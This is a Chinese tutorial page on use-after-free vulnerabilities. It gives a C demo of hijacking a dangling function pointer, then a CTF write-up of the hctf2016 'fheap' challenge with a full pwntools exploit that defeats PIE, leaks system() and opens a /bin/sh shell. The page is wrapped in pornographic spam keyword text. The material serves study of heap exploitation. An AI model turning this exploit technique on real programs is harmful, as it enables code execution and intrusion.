精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

逆向安全系列:Use After Free漏洞淺析

安全 漏洞
下面主要是用hctf的這道題來給大家講述game利用use after free的原理

[[181787]]

一、前言

想著接下來要寫一個use after free的小總結,剛好碰巧最近的湖湘杯2016的一題----game利用use after free可以解出來。這題是自己***次在比較正式的比賽中做出pwn題,做這題的時間花了不少,效率不高,但自己還是蠻開心的,后面回頭做hctf2016的fheap這題,也可以用uaf解出來,game這題題目的復雜度稍微高一點,描述起來有點難,下面主要是用hctf的這道題來給大家講述原理。對于uaf漏洞,搜了下,uaf漏洞在瀏覽器中存在很多,有興趣的同學可以自己去查查。

二、uaf原理

uaf漏洞產生的主要原因是釋放了一個堆塊后,并沒有將該指針置為NULL,這樣導致該指針處于懸空的狀態,同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。先上一段代碼給大家一個直觀印象再具體解釋。

  1. #include <stdio.h> 
  2. #include <stdlib.h> 
  3. typedef void (*func_ptr)(char *); 
  4. void evil_fuc(char command[]) 
  5. system(command); 
  6. void echo(char content[]) 
  7. printf("%s",content); 
  8. int main() 
  9. func_ptr *p1=(int*)malloc(4*sizeof(int)); 
  10. printf("malloc addr: %p\n",p1); 
  11. p1[3]=echo; 
  12. p1[3]("hello world\n"); 
  13. free(p1); //在這里free了p1,但并未將p1置空,導致后續可以再使用p1指針 
  14. p1[3]("hello again\n"); //p1指針未被置空,雖然free了,但仍可使用. 
  15. func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一塊內存后,再次申請同樣大小的指針會把剛剛釋放的內存分配出來. 
  16. printf("malloc addr: %p\n",p2); 
  17. printf("malloc addr: %p\n",p1);//p2與p1指針指向的內存為同一地址 
  18. p2[3]=evil_fuc; //在這里將p1指針里面保存的echo函數指針覆蓋成為了evil_func指針. 
  19. p1[3]("whoami"); 
  20. return 0; 

這段代碼在32位系統下執行。通過這段代碼可以大概將uaf的利用過程小結為以下過程:

1、申請一段空間,并將其釋放,釋放后并不將指針置為空,因此這個指針仍然可以使用,把這個指針簡稱為p1。

2、申請空間p2,由于malloc分配的過程使得p2指向的空間為剛剛釋放的p1指針的空間,構造惡意的數據將這段內存空間布局好,即覆蓋了p1中的數據。

3、利用p1,一般多有一個函數指針,由于之前已使用p2將p1中的數據給覆蓋了,所以此時的數據既是我們可控制的,即可能存在劫持函數流的情況。

三、hctf2016--fheap

uaf原理還比較簡單,下面就是具體的實踐了,這個漏洞復雜一些的話就和double free這些其他的堆的常見利用方法合起來一起出題,具體的可以看bctf2015的freenote。不過fheap這題用uaf直接就解決了。還有就是湖湘杯2016的game題,和fheap基本上是一樣的,這題大家跟出來了的話可以去做下game試下。先介紹fheap的功能。

A、程序功能

http://p9.qhimg.com/t01b46cefd558d1d0a1.png

程序提供的功能比較簡單,總共兩個功能:

1、create string

http://p9.qhimg.com/t013b79188c80312bfa.png

輸入create 后,接著輸入size,后輸入具體的字符串。相關的數據結構則是:先申請0x20字節的堆塊存儲結構,如果輸入的字符串長度大于0xf,則另外申請對應長度的空間存儲字符串,否則直接存儲在之前申請的0x20字節的前16字節處,在***,會將相關free函數的地址存儲在堆存儲結構的后八字節處。相關示意圖描繪如下:

程序功能create string

2、delete string

調用存儲在結構體里的free_func這個指針來釋放堆,由于在釋放以后沒有將指針置空,出現了釋放后仍可利用的現象,即uaf。

delete string

B、查看防護機制

首先查看開啟的安全機制

查看開啟的安全機制

可以看到開啟了PIE,在解題的過程中還需要繞過PIE,PIE是指代碼段的地址也會隨機化,不過低兩位的字節是固定的,利用這一點我們可以來泄露出程序的地址。

C、利用思路

總思路:首先是利用uaf,利用堆塊之間申請與釋放的步驟,形成對free_func指針的覆蓋。從而達到劫持程序流的目的。具體來說,先申請的是三個字符創小于0xf的堆塊,并將其釋放。此時fastbin中空堆塊的單鏈表結構如下左圖,緊接著再申請一個字符串長度為0x20的字符串,此時,申請出來的堆中的數據會如下右圖,此時后面申請出來的堆塊與之前申請出來的1號堆塊為同一內存空間,這時候輸入的數據就能覆蓋到1號堆塊中的free_func指針,指向我們需要執行的函數,隨后再調用1號堆塊的free_func函數,即實現了劫持函數流的目的。

利用uaf,利用堆塊之間申請與釋放的步驟

1、繞過PIE,在能劫持函數流之后,首先是泄露出程序的地址以繞過PIE,具體的方法是將free_func指針的***位覆蓋成"\x2d",變成去執行fputs函數,***變成去打印出free_func的地址,從而得到程序的基地址等。

http://p0.qhimg.com/t0103397379eb072246.png

2、泄露system函數地址,首先有了程序的地址后,可以得到printf函數的plt地址,從而想辦法在棧中部署數據,使用格式化字符串打印出我們需要的地址中的內容,使用DynELF模塊去泄露地址,具體可以看安全客之前有人寫的一篇文章---借助DynELF實現無libc的漏洞利用小結。從而泄露出system函數的地址。

3、執行system("/bin/sh")

最終調用system函數開啟shell。

D、最終exp

exp最終如下,里面還有部分注釋。

  1. from pwn import * 
  2. from ctypes import * 
  3. DEBUG = 1 
  4. if DEBUG: 
  5.      p = process('./fheap') 
  6. else: 
  7.      r = remote('172.16.4.93', 13025) 
  8. print_plt=0 
  9. def create(size,content): 
  10.     p.recvuntil("quit") 
  11.     p.send("create ") 
  12.     p.recvuntil("size:") 
  13.     p.send(str(size)+'\n') 
  14.     p.recvuntil('str:') 
  15.     p.send(content.ljust(size,'\x00')) 
  16.     p.recvuntil('\n')[:-1] 
  17. def delete(idx): 
  18.    p.recvuntil("quit") 
  19.    p.send("delete "+'\n') 
  20.    p.recvuntil('id:') 
  21.     p.send(str(idx)+'\n') 
  22.     p.recvuntil('sure?:') 
  23.     p.send('yes '+'\n') 
  24. def leak(addr): 
  25.     delete(0) 
  26.     #printf函數格式化字符串打印第九個參數地址中的數據,第九個剛好是輸入addr的位置 
  27.     data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt) 
  28.     create(0x20,data) 
  29.     p.recvuntil("quit") 
  30.     p.send("delete ") 
  31.     p.recvuntil('id:') 
  32.     p.send(str(1)+'\n') 
  33.     p.recvuntil('sure?:') 
  34.     p.send('yes01234'+p64(addr)) 
  35.     p.recvuntil('aa') 
  36.     data=p.recvuntil('####')[:-4] 
  37.     data += "\x00" 
  38.     return data 
  39. def pwn(): 
  40.     global print_plt 
  41.      create(4,'aa') 
  42.      create(4,'bb') 
  43.     create(4,'cc') 
  44.      delete(2) 
  45.     delete(1) 
  46.     delete(0) 
  47.     #申請三個堆塊,隨后刪除,從而在fastbin鏈表中形成三個空的堆塊 
  48.     #part1 覆蓋到fputs函數,繞過PIE 
  49.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆蓋,泄露出函數地址。 
  50.     create(0x20,data)#在這里連續創建兩個堆塊,從而使輸入的data與前面的塊1公用一塊內存。 
  51.     delete(1)#這里劫持函數程序流 
  52.     p.recvuntil('b'*0x8) 
  53.     data=p.recvuntil('1.')[:-2] 
  54.     if len(data)>8: 
  55.         datadata=data[:8] 
  56.     data=u64(data.ljust(8,'\x00'))-0xA000000000000 #這里減掉的數可能不需要,自行調整 
  57.      proc_base=data-0xd2d 
  58.     print "proc base",hex(proc_base) 
  59.     print_plt=proc_base+0x9d0 
  60.     print "print plt",hex(print_plt) 
  61.     delete(0) 
  62.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00' 
  63.     create(0x20,data) 
  64.     delete(1) 
  65.     p.recvuntil('b'*0x8) 
  66.     data=p.recvuntil('1.')[:-2] 
  67.     #part2 使用DynELF泄露system函數地址 
  68.      d = DynELF(leak, proc_base, elf=ELF('./fheap')) 
  69.     system_addr = d.lookup('system', 'libc') 
  70.     print "system_addr:", hex(system_addr) 
  71.      
  72.     #parts 執行system函數,開啟shell 
  73.     delete(0) 
  74.     data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) 
  75.     create(0x20,data) 
  76.     delete(1) 
  77.     p.interactive() 
  78.     #### 
  79.     #利用的方式總結為 
  80.     #delete(0),將申請出來的堆塊添入到fastbin中 
  81.     #create(0x20,data),連續申請兩個堆塊,數據覆蓋1堆中的free_func指針 
  82.      #delete(1)劫持函數流,調用我們覆蓋的指針處的地址 
  83.     ### 
  84.     if __name__ == '__main__': 
  85.             pwn() 

執行結果

四、小結

我感覺UAF最主要的是,在釋放了堆塊以后沒有將指針置空,后續過程中內存空間數據被覆蓋為其他數據后,該指針仍然可以正常使用該內存,從而導致數據的誤用。ctf題中容易碰見的是,釋放的堆塊中原本某個區域是用來存儲函數指針的,后面被惡意構造的數據覆蓋成其他地址實現了劫持函數流的目的,從而有可能就被pwn掉了。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2016-12-19 16:11:31

2019-02-12 09:52:20

Linux安全Windows

2015-08-10 10:04:28

2015-09-18 09:12:08

2019-12-11 10:16:15

數據安全隱私保護網絡安全

2016-10-31 13:52:52

戴爾

2009-03-10 13:18:56

2016-10-24 22:05:22

2009-07-01 20:49:06

2021-02-23 10:43:42

Facebook Ga

2023-12-13 18:33:17

2013-08-22 15:47:22

2022-11-24 13:17:43

2015-03-05 15:01:52

2011-04-06 13:39:18

2021-05-06 07:04:35

安全漏洞業務

2013-06-06 13:33:17

2015-05-08 12:11:14

2009-05-18 16:45:43

網絡安全DVLabs研討會

2011-03-23 10:19:28

點贊
收藏

51CTO技術棧公眾號

91精品国产乱码久久久张津瑜| 日本xxxx黄色| 天天干天天操av| 鲁大师成人一区二区三区| 亚洲视频在线观看免费| 亚洲精品乱码久久久久久动漫| 日本在线视频中文有码| 2023国产一二三区日本精品2022| 日本精品视频在线播放| 免费精品在线视频| 国产一区福利| 欧美日韩一区二区三区免费看| 自拍视频一区二区三区| 国产综合无码一区二区色蜜蜜| 免费在线亚洲欧美| 久久视频这里只有精品| 精品久久久久久中文字幕人妻最新| 国产成人a视频高清在线观看| 一区二区三区视频在线看| 欧洲成人一区二区| 亚洲欧美黄色片| 秋霞av亚洲一区二区三| 97婷婷涩涩精品一区| av资源在线免费观看| 日本三级久久| 日韩欧美久久久| 深夜黄色小视频| 亚洲天堂资源| 亚洲国产va精品久久久不卡综合| 一个色的综合| 国内在线精品| 成人美女在线观看| 亚洲aa在线观看| 瑟瑟视频在线免费观看| 亚洲一区二区三区高清| 欧美激情视频一区| 国产激情无码一区二区三区| 九色精品国产蝌蚪| 亚洲成人999| 色偷偷中文字幕| 欧美天堂一区| 欧洲日韩一区二区三区| 免费观看精品视频| 乱馆动漫1~6集在线观看| 亚洲国产一区二区三区| 中国一级大黄大黄大色毛片| 亚洲免费视频一区二区三区| 久久久国产一区二区三区四区小说| 国产在线欧美日韩| 色丁香婷婷综合久久| 国产91丝袜在线18| 懂色一区二区三区av片| 国产wwwwwww| 国产在线精品一区二区不卡了| 国产精品一区二区3区| 日韩欧美国产另类| 日本91福利区| 国产精品私拍pans大尺度在线 | 国产精品女同一区二区| 日韩av成人高清| 国产999精品| 无码人妻精品一区二区三区9厂| 性欧美精品高清| 欧美自拍大量在线观看| 一区二区三区在线观看av| 欧美亚洲视频| 国产精品高潮粉嫩av| 久久久久久av无码免费看大片| 毛片av一区二区| 成人xxxx视频| av免费观看网址| 国产成人免费在线观看| 国产女主播一区二区| 天天综合天天综合| 国产欧美日韩激情| 中文网丁香综合网| 日本不卡影院| 欧美日韩久久久久| 亚洲福利精品视频| 国产美女精品视频免费播放软件| 日韩精品专区在线影院观看| 欧类av怡春院| 欧美日韩国产免费观看视频| www.美女亚洲精品| 国产精品23p| 久久午夜精品| 91系列在线观看| 少妇一级淫片免费看| 国产日韩欧美精品在线| 伊人久久大香线蕉成人综合网| v片在线观看| 精品av在线播放| 日本人视频jizz页码69| 亚洲一区二区三区在线免费| 精品亚洲一区二区三区在线播放| 国产精品视频在| 国内精品福利| 国产精品久久久| 亚洲伦理在线观看| 欧美国产欧美综合| 性高湖久久久久久久久aaaaa| 韩国美女久久| 日韩欧美成人激情| 国产ts在线播放| 欧美日韩福利| 国产精品你懂得| 亚洲免费成人在线| 国产精品国产自产拍高清av王其| 欧美久久在线观看| 日韩av电影资源网| 亚洲国产精品久久久久久| 国产农村妇女精品一区| 亚洲一区日韩在线| 999国内精品视频在线| 精品欧美不卡一区二区在线观看 | 欧美中文字幕精在线不卡| 日韩一区二区三免费高清| 免费看黄色的视频| 极品日韩av| 亚洲va男人天堂| av在线中文| 午夜精品aaa| 一级黄色片在线免费观看| 精品久久久久久久久久久下田| 久久久久久有精品国产| 一级特黄色大片| 国产欧美一区二区精品婷婷| 九九爱精品视频| 日韩视频一区二区三区四区| 一区二区在线视频播放| 成人毛片18女人毛片| 粉嫩av一区二区三区在线播放| 日韩精品一区二区三区电影| 欧洲美女精品免费观看视频| 这里只有精品在线播放| 视频一区二区三区四区五区| 成人18精品视频| 免费网站永久免费观看| 久久久久久久久成人| 日韩专区在线观看| 91极品身材尤物theporn| 欧美韩国日本不卡| 日本中文字幕高清| 精品国产视频| 国产成人久久久| 国产资源在线看| 一本一本大道香蕉久在线精品| 色呦呦一区二区| 最新日韩欧美| 精品麻豆av| 美女搞黄视频在线观看| 日韩av在线免费| 日韩在线 中文字幕| 久久久久久久综合| 日本成人在线免费视频| 日韩精品一区二区三区免费观影 | 91国在线高清视频| 欧美影院在线| 久久久久亚洲精品国产| 天堂在线资源网| 日韩欧美a级成人黄色| av黄色免费网站| 日本欧美大码aⅴ在线播放| 特级西西444www大精品视频| 国产激情欧美| 久久九九精品99国产精品| 国产麻豆免费观看| 亚洲国产成人tv| 精品无人区无码乱码毛片国产| 免费中文字幕日韩欧美| 亚洲精品永久www嫩草| 国产午夜久久av| 欧美极品欧美精品欧美视频| 天天操天天干天天插| 在线观看亚洲精品视频| 暗呦丨小u女国产精品| 成人av在线播放网址| 四虎永久在线精品无码视频| 日韩av大片| 97se视频在线观看| 中文字幕在线免费观看视频| 原创国产精品91| 精品欧美在线观看| 福利微拍一区二区| 18精品爽国产三级网站| 国产aⅴ综合色| 久久精品一区二| 先锋资源久久| 久久久婷婷一区二区三区不卡| 日本一道高清亚洲日美韩| 久久国产天堂福利天堂| 亚洲 国产 欧美 日韩| 欧美性受xxxx| 国产一级在线观看视频| 国产日产欧美一区二区三区| 一区二区三区人妻| 首页综合国产亚洲丝袜| 九九久久九九久久| 国产精品美女久久久久久不卡| 91日本视频在线| 亚洲第一av| 欧美成aaa人片免费看| 欧美一区二区少妇| 7777精品伊人久久久大香线蕉完整版| 日韩精品在线免费看| 中文字幕一区二区三区四区| 超碰男人的天堂| 激情图片小说一区| 国产真实乱子伦| 中文字幕av亚洲精品一部二部| 欧美1o一11sex性hdhd| 天堂久久av| 国产精品一区二区三区久久| 日本不卡1234视频| 欧美巨大黑人极品精男| 国产人成在线视频| 日韩电影免费观看在线观看| 国产高潮在线观看| 欧美日韩午夜在线| 亚洲欧美偷拍一区| 香蕉成人啪国产精品视频综合网| 免费成人深夜夜行网站| 国产丝袜欧美中文另类| 久久丫精品国产亚洲av不卡| 成人免费av网站| avtt中文字幕| 国内精品国产三级国产a久久| 黄色三级视频片| 免费视频一区二区三区在线观看| 日韩美女爱爱视频| 国产精品99一区二区| 美国av在线播放| 国产精品国产一区| 亚洲精品影院| 日韩精品久久| 亚洲欧美日韩另类精品一区二区三区| 亚洲资源网站| 美女一区视频| 亚洲精品合集| 欧美日本亚洲| 国产精品欧美日韩一区| 欧美一级二级三级| 九九亚洲精品| 四虎影院一区二区三区 | 国产98色在线|日韩| 91性高潮久久久久久久| 国产一区二区三区日韩| 中文国产在线观看| 国产成人激情av| 成年人小视频在线观看| 成人av免费网站| 99久久人妻无码中文字幕系列| 91在线云播放| 中文字幕av网址| 久久久欧美精品sm网站| 九九九视频在线观看| 国产精品婷婷午夜在线观看| 国产午夜精品福利视频| 中文字幕五月欧美| 午夜69成人做爰视频| 亚洲一区二区三区视频在线播放 | 国产欧美 在线欧美| 9.1麻豆精品| 99久久一区三区四区免费| 亚洲国产精品免费视频| 国产视频一区二区三区四区| 欧美精品国产白浆久久久久| 日韩国产欧美一区| 国产精品久久久久无码av| 日韩精品一区二区三区四| 亚洲乱码久久| 一区二区在线播放视频| 国产在线精品不卡| 怡红院一区二区| 久久久久久99精品| xxxx日本少妇| 午夜精品一区二区三区三上悠亚| 国产视频1区2区| 69堂成人精品免费视频| 国产成人手机在线| 亚洲人成在线观| 久操视频在线免费播放| 久久久久久999| 成人软件在线观看| 国产又爽又黄的激情精品视频| 亚洲精品一区二区三区在线| 久久精品日产第一区二区三区精品版 | 伊人蜜桃色噜噜激情综合| 国产亚洲欧美在线视频| 美国一区二区三区在线播放| 无码人妻一区二区三区免费n鬼沢| 久久综合九色综合97婷婷| 中文字幕乱码av| 性做久久久久久免费观看| 中文字幕乱码视频| 精品久久五月天| 日本中文字幕伦在线观看| 久久久欧美精品| 欧洲亚洲精品久久久久| 久久久综合香蕉尹人综合网| 永久亚洲成a人片777777| 日韩a在线播放| 国产精品综合在线视频| 无码人妻精品一区二区中文| 亚洲综合在线免费观看| 国产成人av免费| 日韩高清免费在线| 国产黄a三级三级三级av在线看| 欧美在线视频网站| 亚洲3区在线| 亚洲精品一区二区三| 国产亚洲成人一区| 美女又黄又免费的视频| 中文子幕无线码一区tr| 天天干天天干天天操| 精品国产一区二区三区忘忧草 | 国产特级黄色大片| 国产一区二区三区免费看| 欧美另类z0zx974| 精品国产1区2区| 性一交一乱一伧老太| 久久精品国产2020观看福利| 国产精品伦一区二区| 免费h精品视频在线播放| 韩日精品在线| 日本亚洲一区二区三区| 18成人在线视频| 国产精品第6页| 亚洲欧洲xxxx| 日韩大片欧美大片| 蜜桃狠狠色伊人亚洲综合网站| 1024成人| 性欧美丰满熟妇xxxx性久久久| 亚洲综合丝袜美腿| 国产情侣自拍小视频| 久久精品国产69国产精品亚洲| 青草综合视频| 伊人久久大香线蕉精品| 蜜臀av国产精品久久久久| 国产91丝袜美女在线播放| 色噜噜狠狠成人网p站| 瑟瑟在线观看| 8050国产精品久久久久久| 精品久久对白| 毛片av在线播放| 国产福利精品一区二区| 精品97人妻无码中文永久在线| 欧美一区欧美二区| 在线观看中文字幕的网站| 99re国产| 亚洲全部视频| 中文字幕av观看| 一本大道久久a久久精二百| 你懂的视频在线观看| 国产成人高潮免费观看精品| 国产成人三级| 久久久久国产一区| 亚洲视频在线一区二区| 91午夜在线观看| 亚洲伦乱视频| 欧美一区视久久| 日韩不卡一区二区| 美女网站视频色| 91精品福利在线一区二区三区| 国产黄色在线免费观看| 粉嫩高清一区二区三区精品视频 | 美女国产精品久久久| 国产在线拍揄自揄拍无码| 国产福利精品一区| www.国产色| 国产一区二区久久精品| 91精品亚洲一区在线观看| 大陆极品少妇内射aaaaaa| 成人晚上爱看视频| 国产黄色免费视频| 久久亚洲精品一区二区| 成人香蕉社区| 国产自偷自偷免费一区| 国产精品久久99| 懂色av成人一区二区三区| 91精品国产高清自在线看超| 国产精品欧美三级在线观看| 思思久久精品视频| 亚洲高清免费在线| 国产高清在线| 2020国产精品久久精品不卡| 国产色综合网| 国产美女高潮视频| 亚洲电影免费观看高清| av在线一区不卡| 少妇大叫太大太粗太爽了a片小说| 久久久国产一区二区三区四区小说 | 欧美无人区码suv| 欧美性做爰猛烈叫床潮| 国产丝袜精品丝袜| 日韩在线三区| 福利电影一区二区三区| 中文字幕永久在线观看| 午夜免费久久久久| 欧美mv日韩|